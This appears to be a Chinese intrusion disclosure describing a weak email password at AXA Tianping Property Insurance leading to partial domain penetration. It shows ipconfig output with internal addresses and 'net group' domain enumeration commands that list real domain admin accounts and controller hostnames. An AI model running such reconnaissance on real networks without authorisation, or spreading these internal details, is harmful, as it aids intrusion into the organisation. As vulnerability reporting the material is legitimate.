安盛天平财产邮箱弱口令导致的成功一半域渗透

Windows IP 配置
 
    主机名  . . . . . . . . . . . . . : wm0xap04
    主 DNS 后缀 . . . . . . . . . . . : tpaicdom.com
    节点类型  . . . . . . . . . . . . : 混合
    IP 路由已启用 . . . . . . . . . . : 否
    WINS 代理已启用 . . . . . . . . . : 否
    DNS 后缀搜索列表  . . . . . . . . : tpaicdom.com
 
 以太网适配器 以太网:
 
    连接特定的 DNS 后缀 . . . . . . . :
    描述. . . . . . . . . . . . . . . : Intel(R) 82574L 千兆网络连接
    物理地址. . . . . . . . . . . . . : 00-50-56-A8-B1-E8
    DHCP 已启用 . . . . . . . . . . . : 否
    自动配置已启用. . . . . . . . . . : 是
    IPv4 地址 . . . . . . . . . . . . : 10.100.61.128(首选)
    子网掩码  . . . . . . . . . . . . : 255.255.255.0
    默认网关. . . . . . . . . . . . . : 10.100.61.254
    DNS 服务器  . . . . . . . . . . . : 10.100.63.18
                                        10.100.63.28
    TCPIP 上的 NetBIOS  . . . . . . . : 已启用
 
 隧道适配器 isatap.{9EBFCF23-C419-4152-B2C9-EF2ED4B05A72}:
 
    媒体状态  . . . . . . . . . . . . : 媒体已断开
    连接特定的 DNS 后缀 . . . . . . . :
    描述. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter
    物理地址. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
    DHCP 已启用 . . . . . . . . . . . : 否
    自动配置已启用. . . . . . . . . . : 是
 
 C:/Windows/system32>
 
 
 ------------------------------------------------
 C:/Windows/system32>net group "domain admins" /domain
 这项请求将在域 tpaicdom.com 的域控制器处理。
 
 组名     Domain Admins
 注释     指定的域管理员
 
 成员
 
 -------------------------------------------------------------------------------
 Administrator            arubamgt                 AXATP_BK
 axatp_trust              citrixadmin              DomainTrust20140110
 ex_lijun                 lujiacheng               mailcluster
 mailsrv                  netbackup                rmsservice
 ruhua.wang               runmont                  sangfor
 scanuser                 sslvpn                   windows_admin
 命令成功完成。
 
 
 C:/ProgramData>net group "domain controllers" /domain
 这项请求将在域 tpaicdom.com 的域控制器处理。
 
 组名     Domain Controllers
 注释     域中所有域控制器
 
 成员
 
 -------------------------------------------------------------------------------
 TPAIC-CCDOMSRV$          TPAIC-CCDOMSRV2$         TPAICDOMBAK$
 TPAICDOMSRV01$           TPAICDOMSRV02$           TPAIC-NMDOMSRV$
 TPAIC-SALESRV$           TPAIC-WHDOMSRV1$
 命令成功完成。